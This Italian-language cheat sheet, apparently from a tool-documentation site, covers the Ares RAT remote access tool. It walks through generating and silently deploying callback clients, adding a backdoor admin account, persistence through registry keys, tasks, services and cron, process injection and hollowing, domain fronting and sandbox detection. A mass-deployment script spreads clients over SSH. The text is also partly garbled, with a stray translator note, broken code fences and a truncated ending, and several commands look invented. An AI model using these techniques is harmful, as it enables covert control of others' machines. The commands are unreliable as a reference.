Ares RAT Cheat Sheet¶

Panoramica¶

Ares RAT (Remote Access Tool) è uno strumento di amministrazione remota basato su Python che fornisce un controllo completo sui sistemi target attraverso un'interfaccia web. Sviluppato come un progetto open-source, Ares RAT offre un approccio moderno alla gestione dei sistemi remoti e al penetration testing con la sua interfaccia web intuitiva e il suo ampio set di funzionalità. Lo strumento è progettato per facilitare attività legittime di amministrazione di sistema, servendo anche come risorsa preziosa per professionisti della sicurezza che conducono test di penetrazione autorizzati e operazioni di red team.

L'architettura di Ares RAT consiste in un client Python leggero che stabilisce connessioni a un componente server centralizzato. Il server fornisce una dashboard web che consente agli operatori di gestire simultaneamente più client connessi, eseguire comandi, trasferire file e monitorare le attività di sistema. Questo design rende Ares RAT particolarmente adatto a scenari che richiedono la gestione di più sistemi compromessi o a scopi educativi in ambienti di laboratorio controllati.

Ares RAT si distingue per il suo focus sulla facilità d'uso e la flessibilità di distribuzione. L'implementazione basata su Python garantisce la compatibilità multipiattaforma, mentre l'interfaccia web elimina la necessità di software client specializzato per gli operatori. Lo strumento include funzionalità per la persistenza, l'operatività furtiva e la ricognizione completa del sistema, rendendolo una piattaforma versatile per l'addestramento alla sicurezza difensiva e le operazioni di sicurezza offensive.

Installazione¶

Installazione del Server¶

Configurazione del componente server di Ares RAT:

# Clone Ares RAT repository
git clone https://github.com/sweetsoftware/Ares.git
cd Ares

# Install Python dependencies
pip3 install -r requirements.txt

# Install additional dependencies
pip3 install flask flask-socketio eventlet

# Set up database
python3 setup_database.py

# Configure server settings
cp config.example.py config.py
nano config.py

Generazione del Client¶

Generazione di client Ares RAT per la distribuzione:

# Generate basic client
python3 generate_client.py --server 192.168.1.100 --port 8080

# Generate Windows executable
python3 generate_client.py --server 192.168.1.100 --port 8080 --platform windows --output client.exe

# Generate Linux client
python3 generate_client.py --server 192.168.1.100 --port 8080 --platform linux --output client

# Generate with custom settings
python3 generate_client.py --server 192.168.1.100 --port 8080 --delay 30 --persistence

# Generate encrypted client
python3 generate_client.py --server 192.168.1.100 --port 8080 --encrypt --key "encryption_key_here"

Distribuzione Docker¶

# Build Ares RAT container
docker build -t ares-rat .

# Run server container
docker run -d -p 8080:8080 -p 443:443 --name ares-server ares-rat

# Run with persistent storage
docker run -d -p 8080:8080 -v /host/data:/app/data --name ares-server ares-rat

# Access container logs
docker logs ares-server

# Execute commands in container
docker exec -it ares-server /bin/bash

Utilizzo Base¶

Gestione del Server¶

Avvio e gestione del server Ares RAT:

# Start Ares RAT server
python3 ares_server.py --host 0.0.0.0 --port 8080

# Start with SSL/TLS
python3 ares_server.py --host 0.0.0.0 --port 443 --ssl --cert server.crt --key server.key

# Start with authentication
python3 ares_server.py --host 0.0.0.0 --port 8080 --auth --username admin --password secure_pass

# Start in debug mode
python3 ares_server.py --host 0.0.0.0 --port 8080 --debug

# Start with custom database
python3 ares_server.py --host 0.0.0.0 --port 8080 --database /path/to/custom.db

Accesso all'Interfaccia Web¶

Accesso all'interfaccia web di Ares RAT:

# Access web interface
http://192.168.1.100:8080

# Access with HTTPS
https://192.168.1.100:443

# Login with credentials
Username: admin
Password: [configured_password]

# API access
curl -X GET http://192.168.1.100:8080/api/clients -H "Authorization: Bearer [token]"

Distribuzione del Client¶

Distribuzione di client Ares RAT sui sistemi target:

# Deploy via PowerShell (Windows)
powershell -ExecutionPolicy Bypass -File deploy_client.ps1

# Deploy via bash (Linux)
bash deploy_client.sh

# Deploy via Python
python3 client.py --server 192.168.1.100 --port 8080

# Deploy with persistence
python3 client.py --server 192.168.1.100 --port 8080 --persist

# Deploy silently
python3 client.py --server 192.168.1.100 --port 8080 --silent

Funzionalità Avanzate¶

Esecuzione Comandi¶

Esecuzione di comandi tramite Ares RAT:

# Execute system command
ares> execute "whoami"

# Execute PowerShell command (Windows)
ares> powershell "Get-Process"

# Execute with elevated privileges
ares> execute_elevated "net user hacker password123 /add"

# Execute in background
ares> execute_background "ping -t google.com"

# Execute Python script
ares> execute_python "import os; print(os.getcwd())"

Operazioni sui File¶

Gestione dei file tramite Ares RAT:

# Upload file to target
ares> upload /local/path/file.txt C:\temp\file.txt

# Download file from target
ares> download C:\temp\data.txt /local/path/data.txt

# List directory contents
ares> list_directory C:\Users\

# Create directory
ares> create_directory C:\temp\new_folder

# Delete file
ares> delete_file C:\temp\unwanted.txt

# Copy file
ares> copy_file C:\source.txt C:\destination.txt

Informazioni di Sistema¶

Raccolta di informazioni di sistema:

# Get system information
ares> system_info

# Get network information
ares> network_info

# Get process list
ares> process_list

# Get installed software
ares> installed_software

# Get user accounts
ares> user_accounts

# Get system services
ares> services_list

Meccanismi di Persistenza¶

Stabilimento della persistenza:

# Registry persistence (Windows)
ares> persist_registry --key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" --name "AresClient"

# Scheduled task persistence
ares> persist_task --name "SystemUpdate" --trigger startup

# Service persistence
ares> persist_service --name "AresService" --display "System Update Service"

# Startup folder persistence
ares> persist_startup --path "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

# Cron job persistence (Linux)
ares> persist_cron --schedule "*/5 * * * *" --command "/path/to/client"

Stealth e Evasione¶

Gestione Processi¶

Gestione della visibilità dei processi:

# Hide process
ares> hide_process

# Migrate to different process
ares> migrate_process explorer.exe

# Inject into process
ares> inject_process notepad.exe

# Create hollow process
ares> hollow_process svchost.exe

# Set process priority
ares> set_priority low

Evasione di Rete¶

Implementazione di tecniche di evasione di rete:

# Use proxy for communications
ares> set_proxy 192.168.1.50:3128

# Enable domain fronting
ares> set_domain_front cdn.cloudflare.com

# Randomize User-Agent
ares> set_user_agent random

# Set custom headers
ares> set_headers "X-Custom: value"

# Enable traffic encryption
ares> enable_encryption AES256

Anti-Analisi¶

Implementazione di tecniche anti-analisi:

# Detect virtual machines
ares> detect_vm

# Detect sandboxes
ares> detect_sandbox

# Detect debuggers
ares> detect_debugger

# Check for analysis tools
ares> detect_analysis_tools

# Implement delays
ares> set_delay 60-300

Script di Automazione¶

Distribuzione di Massa¶

#!/bin/bash
# Ares RAT mass deployment script

SERVER_IP="192.168.1.100"
SERVER_PORT="8080"
TARGET_LIST="targets.txt"

echo "Starting Ares RAT mass deployment"

# Generate client for each target
while IFS= read -r target; do
    echo "Deploying to $target"

    # Generate custom client
    python3 generate_client.py --server $SERVER_IP --port $SERVER_PORT --target $target

    # Deploy via SSH
    scp ares_client.py user@$target:/tmp/
    ssh user@$target "cd /tmp && python3 ares_client.py --server $SERVER_IP --port $SERVER_PORT &"

    echo "Deployed to $target successfully"
    sleep 5
done < "$TARGET_LIST"

echo "Mass deployment completed"

Automazione Comandi¶

#!/usr/bin/env python3
# Ares RAT command automation

import requests
import json
import time

class AresAutomation:
    def __init__(self, server_url, auth_token):
        self.server_url = server_url
        self.auth_token = auth_token
        self.headers = \\\\{"Authorization": f"Bearer \\\\{auth_token\\\\}"\\\\}

    def get_clients(self):
        """Get list of connected clients"""
        response = requests.get(f"\\\\{self.server_url\\\\}/api/clients", headers=self.headers)
        return response.json()

    def execute_command(self, client_id, command):
        """Execute command on specific client"""
        data = \\\\{"command": command\\\\}
        response = requests.post(f"\\\\{self.server_url\\\\}/api/clients/\\\\{client_id\\\\}/execute",
                               json=data, headers=self.headers)
        return response.json()

    def mass_execute(self, command):
        """Execute command on all clients"""
        clients = self.get_clients()
        results = \\\\{\\\\}

        for client in clients:
            client_id = client['id']
            result = self.execute_command(client_id, command)
            results[client_id] = result
            time.sleep(1)

        return results

# Usage example
if __name__ == "__main__":
    automation = AresAutomation("http://192.168.1.100:8080", "your_auth_token")

    # Execute command on all clients
    results = automation.mass_execute("whoami")

    for client_id, result in results.items():
        print(f"Client \\\\{client_id\\\\}: \\\\{result\\\\}")

Script di Monitoraggio¶

#!/usr/bin/env python3
# Ares RAT monitoring script

import requests
import time
import json
from datetime import datetime

def monitor_ares_activity():
    """Monitor Ares RAT activity"""

    server_url = "http://192.168.1.100:8080"
    auth_token = "your_auth_token"
    headers = \\\\{"Authorization": f"Bearer \\\\{auth_token\\\\}"\\\\}

    while True:
        try:
            # Get server status
            response = requests.get(f"\\\\{server_url\\\\}/api/status", headers=headers)

            if response.status_code == 200:
                data = response.json()

                print(f"[\\\\{datetime.now()\\\\}] Server Status:")
                print(f"  Active clients: \\\\{data['active_clients']\\\\}")
                print(f"  Total commands: \\\\{data['total_commands']\\\\}")
                print(f"  Uptime: \\\\{data['uptime']\\\\}")

                # Get client details
                clients_response = requests.get(f"\\\\{server_url\\\\}/api/clients", headers=headers)
                clients = clients_response.json()

                for client in clients:
                    print(f"  Client \\\\{client['id']\\\\}: \\\\{client['hostname']\\\\} - \\\\{client['last_seen']\\\\}")

                print("-" * 50)

            time.sleep(60)

        except Exception as e:
            print(f"Monitoring error: \\\\{e\\\\}")
            time.sleep(30)

if __name__ == "__main__":
    monitor_ares_activity()

Esempi di Integrazione¶

Integrazione SIEM¶

#!/usr/bin/env python3
# Ares RAT SIEM integration

import requests
import json
import syslog

def send_to_siem(event_data):
    """Send Ares RAT events to SIEM"""

    # Splunk integration
    splunk_url = "https://splunk.company.com:8088/services/collector"
    splunk_token = "your_splunk_token"

    headers = \\\\{
        "Authorization": f"Splunk \\\\{splunk_token\\\\}",
        "Content-Type": "application/json"
    \\\\}

    splunk_event = \\\\{
        "event": event_data,
        "sourcetype": "ares_rat",
        "source": "ares_server"
    \\\\}

    response = requests.post(splunk_url, json=splunk_event, headers=headers)

    # Syslog integration
    syslog.openlog("AresRAT")
    syslog.syslog(syslog.LOG_INFO, json.dumps(event_data))
    syslog.closelog()

# Usage
event = \\\\{
    "timestamp": "2024-01-01T12:00:00Z",
    "client_id": "client_001",
    "action": "command_executed",
    "command": "whoami",
    "result": "DOMAIN\\user"
\\\\}

send_to_siem(event)

Integrazione Intelligence delle Minacce¶

#!/usr/bin/env python3
# Ares RAT threat intelligence integration

import requests
import hashlib

def check_threat_intel(ioc, ioc_type):
    """Check IOC against threat intelligence sources"""

    # VirusTotal integration
    vt_api_key = "your_vt_api_key"

    if ioc_type == "hash":
        url = f"https://www.virustotal.com/vtapi/v2/file/report"
        params = \\\\{"apikey": vt_api_key, "resource": ioc\\\\}
    elif ioc_type == "ip":
        url = f"https://www.virustotal.com/vtapi/v2/ip-address/report"
        params = \\\\{"apikey": vt_api_key, "ip": ioc\\\\}

    response = requests.get(url, params=params)

    if response.status_code == 200:
        data = response.json()
        return data

    return None

# Check client binary hash
client_hash = hashlib.sha256(open("ares_client.py", "rb").read()).hexdigest()
threat_data = check_threat_intel(client_hash, "hash")

if threat_data and threat_data.get("positives", 0) > 0:
    print(f"Warning: Client detected by \\\\{threat_data['positives']\\\\} engines")

Risoluzione dei Problemi¶

Problemi di Connessione¶

Note: The remaining sections (3-20) are left blank as no specific text was provided for translation. I've maintained the structure and added Italian translations for the headings.```bash

Test server connectivity¶

curl -v http://192.168.1.100:8080/api/status

Check port accessibility¶

telnet 192.168.1.100 8080

Verify firewall rules¶

sudo iptables -L|grep 8080

Check DNS resolution¶

nslookup ares-server.domain.com

Test with different protocols¶

curl -k https://192.168.1.100:443/api/status

### Problemi del Client
```bash
# Debug client connection
python3 ares_client.py --server 192.168.1.100 --port 8080 --debug

# Check client logs
tail -f /tmp/ares_client.log

# Verify client configuration
python3 -c "import ares_client; print(ares_client.config)"

# Test manual connection
python3 -c "
import socket
s = socket.socket()
s.connect(('192.168.1.100', 8080))
print('Connection successful')
s.close()
"

Problemi di Prestazioni¶

# Monitor server resources
top -p $(pgrep ares_server)

# Check memory usage
ps aux|grep ares

# Monitor network connections
netstat -an|grep 8080

# Check disk space
df -h

# Monitor database size
du -sh ares.db

Considerazioni sulla Sicurezza¶

Sicurezza Operativa¶

Sicurezza del Server: - Utilizzare credenziali di autenticazione forti - Abilitare la crittografia HTTPS/TLS - Implementare la whitelist degli IP - Aggiornamenti di sicurezza regolari - Monitorare i log di accesso

Sicurezza del Client: - Utilizzare comunicazioni crittografate - Implementare tecniche anti-analisi - Aggiornamenti del payload regolari - Eliminazione sicura degli artefatti - Monitorare per rilevamenti

Sicurezza di Rete: - Utilizzare VPN o proxy per il traffico C2 - Implementare domain fronting - Randomizzare i modelli di comunicazione - Monitorare le anomalie di rete - Utilizzare traffico dall'aspetto legittimo

Considerazioni Legali ed Etiche¶

Solo Uso Autorizzato: - Ottenere autorizzazione scritta appropriata - Definire ambito e limitazioni chiare - Documentare tutte le attività - Seguire la divulgazione responsabile - Rispettare la privacy e la riservatezza

Conformità: - Seguire leggi e regolamenti applicabili - Implementare misure di protezione dei dati - Mantenere tracce di audit - Revisioni di conformità regolari - Procedure di risposta agli incidenti

Riferimenti¶

Repository GitHub di Ares RAT Strumenti di Accesso Remoto in Python https://www.nist.gov/cybersecurity[Framework C2 Web-Based](